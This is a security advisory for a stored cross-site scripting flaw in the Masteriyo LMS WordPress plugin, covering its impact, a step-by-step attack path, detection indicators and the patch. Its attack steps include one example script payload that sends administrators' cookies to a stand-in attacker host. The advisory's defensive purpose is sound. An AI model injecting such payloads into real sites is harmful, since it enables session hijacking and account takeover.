CVE-2025-54699: 
WordPress vulnerability analysis and mitigation

CVE-2025-54699 is a Stored Cross-Site Scripting (XSS) vulnerability in the Masteriyo – LMS WordPress plugin developed by ThemeGrill. It affects all versions up to and including 1.18.3, with version 1.18.4 containing the fix. The vulnerability was reported by security researcher Denver Jackson on July 12, 2025, and published by Patchstack on July 30, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting) and is categorized as Stored XSS, meaning malicious scripts are persisted server-side and executed in victims' browsers upon page load. Exploitation requires a low-privileged authenticated user (Contributor role or higher) to inject the malicious payload, and successful impact also requires a privileged user to interact with the affected content (e.g., view a crafted page). No specific vulnerable parameter or endpoint has been publicly disclosed beyond the Patchstack advisory (Patchstack).

Successful exploitation allows an attacker with Contributor-level access to inject persistent malicious JavaScript into the WordPress site, which executes in the browsers of other users — including administrators — who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The scope extends beyond the attacker's own session, potentially compromising site integrity and visitor confidentiality (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Gain Contributor Access: Register or compromise a Contributor-level (or higher) account on a WordPress site running Masteriyo – LMS version 1.18.3 or earlier.
2. Identify Injection Point: Navigate to a Masteriyo LMS content creation area (e.g., course, quiz, or lesson editor) that accepts user-supplied input rendered without proper sanitization.
3. Inject Malicious Payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within the LMS plugin interface.
4. Trigger Execution: Wait for a privileged user (e.g., Administrator) to view the affected content, causing the injected script to execute in their browser context.
5. Achieve Objective: Harvest session cookies, perform actions on behalf of the administrator, or further compromise the WordPress site (Patchstack).

• Logs: WordPress access logs showing POST requests to Masteriyo LMS content creation or editing endpoints from low-privileged user accounts containing suspicious HTML or JavaScript patterns (e.g., <script>, onerror=, javascript:).
• Database: Unexpected <script> tags or encoded JavaScript payloads stored in the WordPress database within Masteriyo plugin tables (e.g., course, lesson, or quiz content fields).
• Network: Outbound requests from administrator browsers to unknown external domains shortly after viewing LMS content, potentially indicating cookie exfiltration or beacon callbacks.
• File System: New or modified files in the WordPress uploads or plugin directories that may indicate follow-on compromise after XSS-based session hijacking.

The vendor (ThemeGrill) has released version 1.18.4 of the Masteriyo – LMS plugin, which patches this vulnerability. Site administrators should update the plugin to version 1.18.4 or later immediately via the WordPress admin dashboard or by downloading the updated plugin from the WordPress plugin repository. If immediate update is not possible, restricting Contributor-level user registration and limiting who can create or edit LMS content reduces the attack surface. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

Patchstack, which coordinated the disclosure, classified this as a low-priority vulnerability with unlikely exploitation impact, and issued an early warning to its customers on July 30, 2025. No notable independent researcher commentary or significant media coverage beyond the Patchstack advisory and standard vulnerability database aggregation has been identified (Patchstack).